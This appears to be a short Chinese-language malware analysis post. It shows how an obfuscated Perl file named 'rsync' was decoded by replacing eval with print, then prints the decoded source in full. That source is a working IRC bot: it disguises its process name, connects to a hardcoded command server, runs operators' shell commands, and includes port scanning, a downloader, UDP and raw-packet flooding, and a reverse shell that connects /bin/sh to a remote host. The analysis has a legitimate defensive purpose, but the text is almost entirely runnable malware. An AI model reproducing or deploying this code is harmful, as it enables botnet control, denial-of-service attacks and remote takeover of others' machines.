&\]/B)T8W`B+"!0965R061D<CT^)&1C8VEP+"!0965R4&]R=#T^)&1C8W!O<G1A_+"!4:6UE;W5T/3XQ-2D@;W(@<F5T=7)N("@P*3L*("`D9&-C<V]C:RT^875T;V9L=7-H*#$I.PH@("1D8V-?_<V5L+3YA9&0H)&1C8W-O8VLI.PH@("1$0T-[)&1C8W-O8VM]>W1I<&]](#T@)V=E="<["B`@)$1#0WLD9&-C_<V]C:WU[:71I;65](#T@=&EM93L*("`D1$-#>R1D8V-S;V-K?7MN:6-K?2`]("1N:6-K.PH@("1$0T-[)&1C_8W-O8VM]>V)Y=&5S?2`]("1B>71E<SL*("`D1$-#>R1D8V-S;V-K?7MC=7)B>71E?2`](#`["B`@)$1#0WLD_9&-C<V]C:WU[87)Q=6EV;WT@/2`D87)Q=6EV;SL*("`D1$-#>R1D8V-S;V-K?7MI<'T@/2`D9&-C:7`["B`@_)$1#0WLD9&-C<V]C:WU[<&]R=&%](#T@)&1C8W!O<G1A.PH@("1$0T-[)&1C8W-O8VM]>W-T871U<WT@/2`B_4F5C96)E;F1O(CL*?0H*<W5B(%-T871U<R!["B`@;7D@)'-O8VME="`]('-H:69T.PH@(&UY("1S;V-K7W1I_<&\@/2`D1$-#>R1S;V-K971]>W1I<&]].PH@('5N;&5S<R`H;&,H)'-O8VM?=&EP;RD@97$@(F-H870B*2![_"B`@("!M>2`D;FEC:R`]("1$0T-[)'-O8VME='U[;FEC:WT["B`@("!M>2`D87)Q=6EV;R`]("1$0T-[)'-O_8VME='U[87)Q=6EV;WT["B`@("!M>2`D:71I;64@/2`D1$-#>R1S;V-K971]>VET:6UE?3L*("`@(&UY("1F_=&EM92`]('1I;64["B`@("!M>2`D<W1A='5S(#T@)$1#0WLD<V]C:V5T?7MS=&%T=7-].PH@("`@)&9T:6UE_(#T@)$1#0WLD<V]C:V5T?7MF=&EM97T@:68@9&5F:6YE9"@D1$-#>R1S;V-K971]>V9T:6UE?2D["@H@("`@_;7D@)&1?=&EM92`]("1F=&EM92TD:71I;64["@H@("`@;7D@)&-U<E]B>71E(#T@)$1#0WLD<V]C:V5T?7MC_=7)B>71E?3L*("`@(&UY("1B>71E<U]T;W1A;"`]("`D1$-#>R1S;V-K971]>V)Y=&5S?3L*"B`@("!M>2`D_<F%T92`](#`["B`@("`D<F%T92`]("@D8W5R7V)Y=&4O,3`R-"DO)&1?=&EM92!I9B`D8W5R7V)Y=&4@/B`P_.PH@("`@;7D@)'!O<F-E;B`]("@D8W5R7V)Y=&4J,3`P*2\D8GET97-?=&]T86P["@H@("`@;7D@*"1R7V1U_=BP@)'!?9'5V*3L*("`@(&EF("@D<F%T92`]?B`O7BA<9"LI7"XH7&0I*%QD*2A<9"DO*2!["B`@("`@("`D_<E]D=78@/2`D,SL@)')?9'5V*RL@:68@)#0@/CT@-3L*("`@("`@("1R871E(#T@(B0Q7"XD,B(N(B1R7V1U_=B(["B`@("!]"B`@("!I9B`H)'!O<F-E;B`]?B`O7BA<9"LI7"XH7&0I*%QD*2A<9"DO*2!["B`@("`@("`D_<%]D=78@/2`D,SL@)'!?9'5V*RL@:68@)#0@/CT@-3L*("`@("`@("1P;W)C96X@/2`B)#%<+B0R(BXB)'!?_9'5V(CL*("`@('T*("`@(')E='5R;B@B)'-O8VM?=&EP;R(L(B1S=&%T=7,B+"(D;FEC:R(L(B1A<G%U:79O_(BPB)&)Y=&5S7W1O=&%L(BP@(B1C=7)?8GET92(L(B1D7W1I;64B+"`B)')A=&4B+"`B)'!O<F-E;B(I.PH@_('T*"@H@(')E='5R;B@P*3L*?0H*"G-U8B!F:7AA9&1R('L*("`@(&UY("@D861D<F5S<RD@/2!`7SL*"B`@_("!C:&]M<"`D861D<F5S<SL@("`@(`H@("`@:68@*"1A9&1R97-S(#U^("]>7&0K)"\I('L*("`@("`@("!R_971U<FX@:6YE=%]N=&]A*'!A8VL@(DXB+"`D861D<F5S<RD["B`@("!](&5L<VEF("@D861D<F5S<R`]?B`O_7ELQ,ET_7&1[,2PR?5PN6S$R73]<9'LQ+#)]7"Y;,3)=/UQD>S$L,GU<+ELQ,ET_7&1[,2PR?20O*2!["B`@_("`@("`@<F5T=7)N("1A9&1R97-S.PH@("`@?2!E;'-I9B`H)&%D9')E<W,@/7X@='(O82UZ02U:+R\I('L@_("`@("`@("`@("`@("`@("`@(`H@("`@("`@(')E='5R;B!I;F5T7VYT;V$H*"AG971H;W-T8GEN86UE*"1AV9&1R97-S*2E;-%TI6S!=*3L*("`@('T@96QS92!["B`@("`@("`@<F5T=7)N.PH@("`@?0I]}

使用了 eval unpack 看起來是需要解密的東西

發現 perl 有一個函數為 unpack()

所以我們將 開頭的 eval 掉換成 print

在使用 perl 執行

1
$ perl rsync

順利把程式碼解出來了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924

my $processo = 'rsync';

$servidor='5.255.86.129' unless $servidor;
my $porta='443';
my @canais=("#007");
my @adms=("A","X");
my @auth=("localhost");

my $linas_max=6;
my $sleep=3;

my $nick = getnick();
my $ircname = getnick();
my $realname = (`uname -a`);

my $acessoshell = 1;
my $prefixo = "! ";
my $estatisticas = 0;
my $pacotes = 1;

my $VERSAO = '0.2a';

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0";
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);

my %irc_servers;
my %DCC;
my $dcc_sel = new IO::Select->new();




sub getnick {
return "x".int(rand(9000));
}


sub getident {
my $retornoident = &_get("http://www.minpop.com/sk12pack/idents.php");
my $identchance = int(rand(1000));
if ($identchance > 30) {
return $nick;
} else {
return $retornoident;
}
return $retornoident;
}

sub getname {
my $retornoname = &_get("http://www.minpop.com/sk12pack/names.php");
return $retornoname;
}

sub getident2 {
my $length=shift;
$length = 3 if ($length < 3);

my @chars=('a'..'z','A'..'Z','1'..'9');
foreach (1..$length)
{
$randomstring.=$chars[rand @chars];
}
return $randomstring;
}

sub getstore ($$)
{
my $url = shift;
my $file = shift;

$http_stream_out = 1;
open(GET_OUTFILE, "> $file");
%http_loop_check = ();
_get($url);
close GET_OUTFILE;
return $main::http_get_result;
}

sub _get
{
my $url = shift;
my $proxy = "";
grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
my $host = $1;
my $port = $2 || 80;
my $path = $3;
$path = "/" unless defined($path);
return _trivial_http_get($host, $port, $path);
} elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
my $host = $1;
my $port = $2;
my $path = $url;
return _trivial_http_get($host, $port, $path);
} else {
return undef;
}
}


sub _trivial_http_get
{
my($host, $port, $path) = @_;
my($AGENT, $VERSION, $p);

$AGENT = "get-minimal";
$VERSION = "20000118";

$path =~ s/ /%20/g;

require IO::Socket;
local($^W) = 0;
my $sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp',
Timeout => 60) || return;
$sock->autoflush;
my $netloc = $host;
$netloc .= ":$port" if $port != 80;
my $request = "GET $path HTTP/1.0\015\012"
. "Host: $netloc\015\012"
. "User-Agent: $AGENT/$VERSION/u\015\012";
$request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
$request .= "\015\012";
print $sock $request;

my $buf = "";
my $n;
my $b1 = "";
while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
if ($b1 eq "") {
$b1 = $buf;
$buf =~ s/.+?\015?\012\015?\012//s;
}
if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
}
return undef unless defined($n);

$main::http_get_result = 200;
if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
$main::http_get_result = $1;
if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/
) {
my $url = $1;
return undef if $http_loop_check{$url}++;
return _get($url);
}
return undef unless $main::http_get_result =~ /^2/;
}

return $buf;
}


$sel_cliente = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}

sub conectar {
my $meunick = $_[0];
my $servidor_con = $_[1];
my $porta_con = $_[2];

my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;

$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);

$irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
$irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
nick("$meunick");
sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
sleep 2;
}

}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
delete($irc_servers{''}) if (defined($irc_servers{''}));
&DCC::connections;
my @ready = $sel_cliente->can_read(0.6);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$meunick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_cliente->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);

for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp='';
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}

sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "\001VERSION mIRC v6.16 ENE ALIN GABRIEL\001");
}
elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
notice("$pn", "\001PONG\001");
}
elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
if ($onde eq "$meunick"){
shell("$pn", "$args");
}
elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
if ($arg =~ /^\!(.*)/) {
ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^\!nick/);
} elsif ($arg =~ /^\@(.*)/) {
$ondep = $onde;
$ondep = $pn if $onde eq $meunick;
bfunc("$ondep","$1");
} else {
shell("$onde", "$arg");
}
}
}
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($meunick)) {
$meunick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
$meunick = getnick();
nick("$meunick");
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$meunick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach my $canal (@canais) {
sendraw("JOIN $canal");
}
}
}

sub bfunc {
my $printl = $_[0];
my $funcarg = $_[1];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
if ($funcarg =~ /^portscan (.*)/) {
my $hostip="$1";
my @portas=("21","22","23","25","53","80","110","143","6665");
my (@aberta, %porta_banner);
foreach my $porta (@portas) {
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
if ($scansock) {
push (@aberta, $porta);
$scansock->close;
}
}
if (@aberta) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @aberta");
} else {
sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
}
}

elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
getstore("$1", "$2");
sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Conclu.do!") if ($estatisticas);
}

elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {
my $hostname="$1";
my $portainicial = "$2";
my $portafinal = "$3";
my (@abertas, %porta_banner);
foreach my $porta ($portainicial..$portafinal)
{
my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
if ($scansock) {
push (@abertas, $porta);
$scansock->close;
if ($estatisticas) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta em $hostname");
}
}
}
if (@abertas) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abertas");
} else {
sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
}
}

elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
return unless $pacotes;
socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
my $alvo=inet_aton("$1");
my $porta = "$2";
my $tempo = "$3";
my $pacote;
my $pacotese;
my $fim = time + $tempo;
my $pacota = 1;
while (($pacota == "1") && ($pacotes == "1")) {
$pacota = 0 if ((time >= $fim) && ($tempo != "0"));
$pacote=$rand x $rand x $rand;
$porta = int(rand 65000) +1 if ($porta == "0");
send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
}
if ($estatisticas)
{
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $1");
}
}

elsif ($funcarg =~ /^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) {
return unless $pacotes;
socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
my $faixaip="$1";
my $porta = "$2";
my $tempo = "$3";
my $pacote;
my $pacotes;
my $fim = time + $tempo;
my $pacota = 1;
my $alvo;
while ($pacota == "1") {
$pacota = 0 if ((time >= $fim) && ($tempo != "0"));
for (my $faixa = 1; $faixa <= 255; $faixa++) {
$alvo = inet_aton("$faixaip.$faixa");
$pacote=$rand x $rand x $rand;
$porta = int(rand 65000) +1 if ($porta == "0");
send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
if ($faixa >= 255) {
$faixa = 1;
}
}
}
if ($estatisticas)
{
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $alvo");
}
}

elsif ($funcarg =~ /^conback\s+(.*)\s+(\d+)/) {
my $host = "$1";
my $porta = "$2";
my $proto = getprotobyname('tcp');
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($porta, $iaddr);
my $shell = "/bin/sh -i";
if ($^O eq "MSWin32") {
$shell = "cmd.exe";
}
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
connect(SOCKET, $paddr) or die "connect: $!";
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system("$shell");
close(STDIN);
close(STDOUT);
close(STDERR);

if ($estatisticas)
{
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando-se em\002: $host:$porta");
}
}

elsif ($funcarg =~ /^oldpack\s+(.*)\s+(\d+)\s+(\d+)/) {
return unless $pacotes;
my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
$dtime = 1 if $dtime == 0;
my %bytes;
$bytes{igmp} = $2 * $pacotes{igmp};
$bytes{icmp} = $2 * $pacotes{icmp};
$bytes{o} = $2 * $pacotes{o};
$bytes{udp} = $2 * $pacotes{udp};
$bytes{tcp} = $2 * $pacotes{tcp};
unless ($estatisticas)
{
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status -\002");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Timp\002: $dtime"."secunde.");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total packet\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + $pacotes{o}));
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Flood\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
}
}
exit;
}
}
}

sub ircase {
my ($kem, $printl, $case) = @_;

if ($case =~ /^join (.*)/) {
j("$1");
}
elsif ($case =~ /^part (.*)/) {
p("$1");
}
elsif ($case =~ /^rejoin\s+(.*)/) {
my $chan = $1;
if ($chan =~ /^(\d+) (.*)/) {
for (my $ca = 1; $ca <= $1; $ca++ ) {
p("$2");
j("$2");
}
} else {
p("$chan");
j("$chan");
}
}
elsif ($case =~ /^op/) {
op("$printl", "$kem") if $case eq "op";
my $oarg = substr($case, 3);
op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
elsif ($case =~ /^deop/) {
deop("$printl", "$kem") if $case eq "deop";
my $oarg = substr($case, 5);
deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
elsif ($case =~ /^voice/) {
voice("$printl", "$kem") if $case eq "voice";
$oarg = substr($case, 6);
voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
elsif ($case =~ /^devoice/) {
devoice("$printl", "$kem") if $case eq "devoice";
$oarg = substr($case, 8);
devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
elsif ($case =~ /^msg\s+(\S+) (.*)/) {
msg("$1", "$2");
}
elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
msg("$2", "$3");
}
}
elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
ctcp("$2", "$3");
}
}
elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
ctcp("$1", "$2");
}
elsif ($case =~ /^invite\s+(\S+) (.*)/) {
invite("$1", "$2");
}
elsif ($case =~ /^nick (.*)/) {
nick("$1");
}
elsif ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
conectar("$2", "$1", 6667);
}
elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
DCC::SEND("$1", "$2");
}
elsif ($case =~ /^raw (.*)/) {
sendraw("$1");
}
elsif ($case =~ /^eval (.*)/) {
eval "$1";
}
elsif ($case =~ /^entra\s+(\S+)\s+(\d+)/) {
sleep int(rand($2));
j("$1");
}
elsif ($case =~ /^sai\s+(\S+)\s+(\d+)/) {
sleep int(rand($2));
p("$1");
}
elsif ($case =~ /^sair/) {
quit();
}
elsif ($case =~ /^novonick/) {
my $novonick = getnick();
nick("$novonick");
}
elsif ($case =~ /^estatisticas (.*)/) {
if ($1 eq "on") {
$estatisticas = 1;
msg("$printl", "Estat.sticas ativadas!");
} elsif ($1 eq "off") {
$estatisticas = 0;
msg("$printl", "Estat.sticas desativadas!");
}
}
elsif ($case =~ /^pacotes (.*)/) {
if ($1 eq "on") {
$pacotes = 1;
msg("$printl", "Pacotes ativados!") if ($estatisticas == "1");
} elsif ($1 eq "off") {
$pacotes = 0;
msg("$printl", "Pacotes desativados!") if ($estatisticas == "1");
}
}
}
sub shell {
return unless $acessoshell;
my $printl=$_[0];
my $comando=$_[1];
if ($comando =~ /cd (.*)/) {
chdir("$1") || msg("$printl", "Diret.rio inexistente!");
return;
}
elsif ($pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my @resp=`$comando 2>&1 3>&1`;
my $c=0;
foreach my $linha (@resp) {
$c++;
chop $linha;
sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
if ($c >= "$linas_max") {
$c=0;
sleep $sleep;
}
}
exit;
}
}
}

sub attacker {
my $iaddr = inet_aton($_[0]);
my $msg = 'B' x $_[1];
my $ftime = $_[2];
my $cp = 0;
my (%pacotes);
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;

socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
return(undef) if $cp == 4;
my $itime = time;
my ($cur_time);
while ( 1 ) {
for (my $porta = 1; $porta <= 65535; $porta++) {
$cur_time = time - $itime;
last if $cur_time >= $ftime;
send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);

for (my $pc = 3; $pc <= 255;$pc++) {
next if $pc == 6;
$cur_time = time - $itime;
last if $cur_time >= $ftime;
socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
}
}
last if $cur_time >= $ftime;
}
return($cur_time, %pacotes);
}


sub action {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
}

sub ctcp {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :$_[1]");
}

sub notice {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}

sub op {
return unless $#_ == 1;
sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
return unless $#_ == 1;
sendraw("MODE $_[0] -o $_[1]");
}
sub hop {
return unless $#_ == 1;
sendraw("MODE $_[0] +h $_[1]");
}
sub dehop {
return unless $#_ == 1;
sendraw("MODE $_[0] +h $_[1]");
}
sub voice {
return unless $#_ == 1;
sendraw("MODE $_[0] +v $_[1]");
}
sub devoice {
return unless $#_ == 1;
sendraw("MODE $_[0] -v $_[1]");
}
sub ban {
return unless $#_ == 1;
sendraw("MODE $_[0] +b $_[1]");
}
sub unban {
return unless $#_ == 1;
sendraw("MODE $_[0] -b $_[1]");
}
sub kick {
return unless $#_ == 1;
sendraw("KICK $_[0] $_[1] :$_[2]");
}

sub modo {
return unless $#_ == 0;
sendraw("MODE $_[0] $_[1]");
}
sub mode { modo(@_); }

sub j { &join(@_); }
sub join {
return unless $#_ == 0;
sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {sendraw("PART $_[0]");}

sub nick {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}

sub invite {
return unless $#_ == 1;
sendraw("INVITE $_[1] $_[0]");
}
sub topico {
return unless $#_ == 1;
sendraw("TOPIC $_[0] $_[1]");
}
sub topic { topico(@_); }

sub whois {
return unless $#_ == 0;
sendraw("WHOIS $_[0]");
}
sub who {
return unless $#_ == 0;
sendraw("WHO $_[0]");
}
sub names {
return unless $#_ == 0;
sendraw("NAMES $_[0]");
}
sub away {
sendraw("AWAY $_[0]");
}
sub back { away(); }
sub quit {
sendraw("QUIT :$_[0]");
exit;
}

package DCC;

sub connections {
my @ready = $dcc_sel->can_read(1);
foreach my $fh (@ready) {
my $dcctipo = $DCC{$fh}{tipo};
my $arquivo = $DCC{$fh}{arquivo};
my $bytes = $DCC{$fh}{bytes};
my $cur_byte = $DCC{$fh}{curbyte};
my $nick = $DCC{$fh}{nick};

my $msg;
my $nread = sysread($fh, $msg, 10240);

if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
$DCC{$fh}{status} = "Cancelado";
$DCC{$fh}{ftime} = time;
$dcc_sel->remove($fh);
$fh->close;
next;
}

if ($dcctipo eq "get") {
$DCC{$fh}{curbyte} += length($msg);

my $cur_byte = $DCC{$fh}{curbyte};

open(FILE, ">> $arquivo");
print FILE "$msg" if ($cur_byte <= $bytes);
close(FILE);

my $packbyte = pack("N", $cur_byte);
print $fh "$packbyte";

if ($bytes == $cur_byte) {
$dcc_sel->remove($fh);
$fh->close;
$DCC{$fh}{status} = "Recebido";
$DCC{$fh}{ftime} = time;
next;
}
} elsif ($dcctipo eq "send") {
my $send = $fh->accept;
$send->autoflush(1);
$dcc_sel->add($send);
$dcc_sel->remove($fh);
$DCC{$send}{tipo} = 'sendcon';
$DCC{$send}{itime} = time;
$DCC{$send}{nick} = $nick;
$DCC{$send}{bytes} = $bytes;
$DCC{$send}{curbyte} = 0;
$DCC{$send}{arquivo} = $arquivo;
$DCC{$send}{ip} = $send->peerhost;
$DCC{$send}{porta} = $send->peerport;
$DCC{$send}{status} = "Enviando";

open(FILE, "< $arquivo");
my $fbytes;
read(FILE, $fbytes, 1024);
print $send "$fbytes";
close FILE;
} elsif ($dcctipo eq 'sendcon') {
my $bytes_sended = unpack("N", $msg);
$DCC{$fh}{curbyte} = $bytes_sended;
if ($bytes_sended == $bytes) {
